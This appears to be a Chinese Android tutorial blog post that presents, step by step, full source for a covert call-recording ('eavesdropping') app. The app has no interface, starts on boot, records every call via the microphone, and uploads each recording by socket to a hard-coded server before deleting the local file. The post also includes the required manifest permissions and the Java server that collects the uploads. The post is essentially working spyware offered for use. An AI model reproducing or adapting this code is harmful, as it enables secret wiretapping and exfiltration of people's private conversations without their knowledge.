我的Android进阶之旅------>Android电话窃听实例

Step 1 :新建一个Android工程,命名为PhoneListenerService,本服务不需要界面



Step 2:主控制程序PhoneService.java代码如下:

package cn.roco.phonelistener;

import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import cn.roco.phonelistener.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneService extends Service {

@Override
public IBinder onBind(Intent intent) {
return null;
}

@Override
public void onCreate() {
super.onCreate();
TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //取得电话相关服务
telephonyManager.listen(new PhoneListener(),
PhoneStateListener.LISTEN_CALL_STATE);
}

private final class PhoneListener extends PhoneStateListener {
private String incomingNumber;
private MediaRecorder mediaRecorder;
private File file;
/**
* 回调函数
*/
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_RINGING:// 来电
this.incomingNumber = incomingNumber;
break;

case TelephonyManager.CALL_STATE_OFFHOOK:// 接通电话
file = new File(Environment.getExternalStorageDirectory(),
incomingNumber + System.currentTimeMillis()
+ ".3gp");
mediaRecorder = new MediaRecorder();
// 从麦克风采集声音
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 内容输出格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
// 音频编码方式
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
// 输出文件位置
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 预期准备
mediaRecorder.prepare();
// 开始刻录音频
mediaRecorder.start();
break;

case TelephonyManager.CALL_STATE_IDLE:// 挂断电话后回归到空闲状态
if (mediaRecorder != null) {
// 停止刻录
mediaRecorder.stop();
// 刻录完成一定要释放资源
mediaRecorder.release();
mediaRecorder = null;
// 上传录制好的音频文件
uploadFile();
}
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}

/**
* 上传录制好的音频文件
*/
private void uploadFile() {
new Thread(new Runnable() {
@Override
public void run() {
try {
if (file != null && file.exists()) {
Socket socket = new Socket("192.168.1.100", 7878);
OutputStream outStream = socket.getOutputStream();
String head = "Content-Length=" + file.length()
+ ";filename=" + file.getName()
+ ";sourceid=\r\n";
outStream.write(head.getBytes());

PushbackInputStream inStream = new PushbackInputStream(
socket.getInputStream());
String response = StreamTool.readLine(inStream);
String[] items = response.split(";");
String position = items[1].substring(items[1]
.indexOf("=") + 1);

RandomAccessFile fileOutStream = new RandomAccessFile(
file, "r");
fileOutStream.seek(Integer.valueOf(position));
byte[] buffer = new byte[1024];
int len = -1;
while ((len = fileOutStream.read(buffer)) != -1) {
outStream.write(buffer, 0, len);
}
fileOutStream.close();
outStream.close();
inStream.close();
socket.close();
file.delete();
file = null;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
}
}
}

Step 3 :工具类StreamTool.java代码如下:

package cn.roco.phonelistener.utils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PushbackInputStream;

public class StreamTool {

public static void save(File file, byte[] data) throws Exception {
FileOutputStream outStream = new FileOutputStream(file);
outStream.write(data);
outStream.close();
}

public static String readLine(PushbackInputStream in) throws IOException {
char buf[] = new char[128];
int room = buf.length;
int offset = 0;
int c;
loop: while (true) {
switch (c = in.read()) {
case -1:
case '\n':
break loop;
case '\r':
int c2 = in.read();
if ((c2 != '\n') && (c2 != -1))
in.unread(c2);
break loop;
default:
if (--room < 0) {
char[] lineBuffer = buf;
buf = new char[offset + 128];
room = buf.length - offset - 1;
System.arraycopy(lineBuffer, 0, buf, 0, offset);

}
buf[offset++] = (char) c;
break;
}
}
if ((c == -1) && (offset == 0))
return null;
return String.copyValueOf(buf, 0, offset);
}

/**
* 读取流
*
* @param inStream
* @return 字节数组
* @throws Exception
*/
public static byte[] readStream(InputStream inStream) throws Exception {
ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len = -1;
while ((len = inStream.read(buffer)) != -1) {
outSteam.write(buffer, 0, len);
}
outSteam.close();
inStream.close();
return outSteam.toByteArray();
}
}

Step 4 :编写开机启动的广播BootBroadcastReceiver.java  调用上面的PhoneService

package cn.roco.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

/**
* 开机就启动PhoneService服务
*/
@Override
public void onReceive(Context context, Intent intent) {
Intent service=new Intent(context,PhoneService.class);//显示、隐式
context.startService(service);
}

}

Step 5：配置AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.roco.phonelistener" android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="8" />

<!-- 电话状态监听权限 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- SD卡中写入数据权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<!-- 在SD卡中创建和删除文件权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!-- 音频刻录权限 -->
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>

<application android:icon="@drawable/icon" android:label="@string/app_name">
<service android:name="PhoneService" />
<!-- 开机启动的广播 -->
<receiver android:name="BootBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>

</manifest>

Step 6：因为是通过socket上传文件到服务器，下面写服务器的主要代码FileService.java

package cn.itcast.net.server;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.ServerSocket;
import java.net.Socket;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

import cn.itcast.utils.StreamTool;

public class FileServer {

private ExecutorService executorService;//线程池
private int port;//监听端口
private boolean quit = false;//退出
private ServerSocket server;
private Map<Long, FileLog> datas = new HashMap<Long, FileLog>();//存放断点数据

public FileServer(int port){
this.port = port;
//创建线程池，池中具有(cpu个数*50)条线程
executorService = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors() * 50);
}
/**
* 退出
*/
public void quit(){
this.quit = true;
try {
server.close();
} catch (IOException e) {
}
}
/**
* 启动服务
* @throws Exception
*/
public void start() throws Exception{
server = new ServerSocket(port);
while(!quit){
try {
Socket socket = server.accept();
//为支持多用户并发访问，采用线程池管理每一个用户的连接请求
executorService.execute(new SocketTask(socket));
} catch (Exception e) {
//  e.printStackTrace();
}
}
}

private final class SocketTask implements Runnable{
private Socket socket = null;

public SocketTask(Socket socket) {
this.socket = socket;
}

public void run() {
try {
System.out.println("accepted connection "+ socket.getInetAddress()+ ":"+ socket.getPort());
PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
//得到客户端发来的第一行协议数据：Content-Length=143253434;filename=xxx.3gp;sourceid=
//如果用户初次上传文件，sourceid的值为空。
String head = StreamTool.readLine(inStream);
System.out.println(head);
if(head!=null){
//下面从协议数据中提取各项参数值
String[] items = head.split(";");
String filelength = items[0].substring(items[0].indexOf("=")+1);
String filename = items[1].substring(items[1].indexOf("=")+1);
String sourceid = items[2].substring(items[2].indexOf("=")+1);

long id = System.currentTimeMillis();//生产资源id，如果需要唯一性，可以采用UUID
FileLog log = null;
if(sourceid!=null && !"".equals(sourceid)){
id = Long.valueOf(sourceid);
log = find(id);//查找上传的文件是否存在上传记录
}

File file = null;
int position = 0;
if(log==null){//如果不存在上传记录,为文件添加跟踪记录
String path = new SimpleDateFormat("yyyy/MM/dd/HH/mm").format(new Date());
File dir = new File("uploadfiles/"+ path);
if(!dir.exists()) dir.mkdirs();
file = new File(dir, filename);
if(file.exists()){//如果上传的文件发生重名，然后进行改名
filename = filename.substring(0, filename.indexOf(".")-1)+ dir.listFiles().length+ filename.substring(filename.indexOf("."));
file = new File(dir, filename);
}
save(id, file);
}else{// 如果存在上传记录,读取已经上传的数据长度
file = new File(log.getPath());//从上传记录中得到文件的路径
if(file.exists()){
File logFile = new File(file.getParentFile(), file.getName()+".log");
if(logFile.exists()){
Properties properties = new Properties();
properties.load(new FileInputStream(logFile));
position = Integer.valueOf(properties.getProperty("length"));//读取已经上传的数据长度
}
}
}

OutputStream outStream = socket.getOutputStream();
String response = "sourceid="+ id+ ";position="+ position+ "\r\n";
//服务器收到客户端的请求信息后，给客户端返回响应信息：sourceid=1274773833264;position=0
//sourceid由服务器端生成，唯一标识上传的文件，position指示客户端从文件的什么位置开始上传
outStream.write(response.getBytes());

RandomAccessFile fileOutStream = new RandomAccessFile(file, "rwd");
if(position==0) fileOutStream.setLength(Integer.valueOf(filelength));//设置文件长度
fileOutStream.seek(position);//指定从文件的特定位置开始写入数据
byte[] buffer = new byte[1024];
int len = -1;
int length = position;
while( (len=inStream.read(buffer)) != -1){//从输入流中读取数据写入到文件中
fileOutStream.write(buffer, 0, len);
length += len;
Properties properties = new Properties();
properties.put("length", String.valueOf(length));
FileOutputStream logFile = new FileOutputStream(new File(file.getParentFile(), file.getName()+".log"));
properties.store(logFile, null);//实时记录已经接收的文件长度
logFile.close();
}
if(length==fileOutStream.length()) delete(id);
fileOutStream.close();
inStream.close();
outStream.close();
file = null;

}
} catch (Exception e) {
e.printStackTrace();
}finally{
try {
if(socket!=null && !socket.isClosed()) socket.close();
} catch (IOException e) {}
}
}
}

public FileLog find(Long sourceid){
return datas.get(sourceid);
}
//保存上传记录
public void save(Long id, File saveFile){
//日后可以改成通过数据库存放
datas.put(id, new FileLog(id, saveFile.getAbsolutePath()));
}
//当文件上传完毕，删除记录
public void delete(long sourceid){
if(datas.containsKey(sourceid)) datas.remove(sourceid);
}

private class FileLog{
private Long id;
private String path;

public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getPath() {
return path;
}
public void setPath(String path) {
this.path = path;
}
public FileLog(Long id, String path) {
this.id = id;
this.path = path;
}
}

}

Step 7：启动服务器，监听Socket端口，接收android客户端上传的文件

package cn.itcast.net.server;

import java.awt.BorderLayout;
import java.awt.Frame;
import java.awt.Label;
import java.awt.event.WindowEvent;
import java.awt.event.WindowListener;

public class ServerWindow extends Frame{
private FileServer s = new FileServer(7878);
private Label label;

public ServerWindow(String title){
super(title);
label = new Label();
add(label, BorderLayout.PAGE_START);
label.setText("服务器已经启动");
this.addWindowListener(new WindowListener() {
public void windowOpened(WindowEvent e) {
new Thread(new Runnable() {
public void run() {
try {
s.start();
} catch (Exception e) {
}
}
}).start();
}

public void windowIconified(WindowEvent e) {
}

public void windowDeiconified(WindowEvent e) {
}

public void windowDeactivated(WindowEvent e) {
}

public void windowClosing(WindowEvent e) {
s.quit();
System.exit(0);
}

public void windowClosed(WindowEvent e) {
}

public void windowActivated(WindowEvent e) {
}
});
}
/**
* @param args
*/
public static void main(String[] args) {
ServerWindow window = new ServerWindow("文件上传服务端");
window.setSize(300, 300);
window.setVisible(true);

}

}

Step 8：安装完服务之后，重启模拟器，再通话，运行的具体结果是：在客户端的SD卡中会有记录,在服务器的uploadfiles目录下也会有从客户端上传而来的文件。


（通话中）

通话之前的Socket项目截图如下：                                                          
                    Android客户端把通话记录上传之后截图如下：
